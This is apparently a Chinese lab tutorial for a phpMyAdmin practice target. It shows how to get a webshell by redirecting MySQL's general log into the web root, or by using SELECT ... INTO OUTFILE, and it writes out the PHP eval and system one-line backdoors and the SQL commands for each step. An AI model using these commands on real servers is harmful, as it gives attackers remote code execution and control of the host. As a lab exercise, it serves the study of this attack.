phpMyAdmin-CMS靶场

1.通过日志文件拿shell

复制代码
show global variables like '%general%';
set global general_log='on'; 
set global general_log_file = 'D:/phpStudy_pro/WWW/muma.php';
show global variables like '%general%';
select '<?php eval($_POST["admin"]);?>';
select+'<?php+phpinfo();+?>'
select+'<?php+//%0Aphpinfo();+?>'

查看日志目录路径

复制代码
show global variables like '%general%';

打开日志功能

复制代码
set global general_log='on'; 

最右边有个执行按钮,可以执行

设置日志文件目录,创建php日志文件

复制代码
set global general_log_file='D:/phpStudy_pro/WWW/9.php';

查看自己创建的日志文件

复制代码
show global variables like '%general%';

可以写入一句话木马用蚁剑连接

2. 上传日志文件拿shell

复制代码
1.⾸先判断mysql位置
select @@datadir
路径:C:\phpStudy\MySQL\data\
2.猜测web路径
猜测web路径:C:\phpStudy\www
C:\phpStudy\WWW\web.php
3.写webshell
select "<?php eval($_POST[a]);?>" into outfile 'c:/phpstudy/www/b.php';
select "<?php system($_GET[a]);?>" into outfile 'c:/phpstudy/PHPTutorial/w
ww/d.php';
4.浏览器
http://192.168.2.8/d.php?a=dir ..\
select "<?php phpinfo();eval($_POST[a]);?>" into outfile 'C:\phpStudy\WWW
\web.php';
备注:/
不要⽤\,如⾥要⽤\\(转义)

和第一个一样,写入一句话木马,用蚁剑连接

3界面图像化GetShell

(如果过滤了into outfile 第一种的图形化操作)

复制代码
phpmyadmin管理台
变量:日志 搜索:gen
log:on
file:C:\phpStudy\PHPTutorial\www\c.php
sql:
select "<?php eval($_POST[a]);?>";

写入一句话木马

用蚁剑连接

相关推荐
林多20 分钟前
【Android】SU命令源码解析
android·源码·命令·cat·su
低调小一11 小时前
深度复盘:KMP 在字节跳动的工程化落地实践
android·kotlin
Echoo华地13 小时前
idea运行程序默认线程为daemon线程的问题
java·ide·intellij-idea
歪楼小能手14 小时前
Android16系统go版关闭重力旋转开关后缺失手动旋转屏幕悬浮按钮
android·java·平板
崇山峻岭之间14 小时前
Matlab学习记录37
android·学习·matlab
好好学习啊天天向上15 小时前
VSCODE, mermaid subgraph 示例
ide·vscode·编辑器
好好学习啊天天向上15 小时前
VSCODE, mermaid 示例
ide·vscode·编辑器
stevenzqzq16 小时前
Android 协程 Channel 菜鸟教程
android·channel
遗悲风17 小时前
PHP伪协议全面解析:原理、常用场景、攻防实战与安全防护
android·安全·php
撩得Android一次心动17 小时前
Android Lifecycle 全面解析:掌握生命周期管理的艺术(源码篇)
android·lifecycle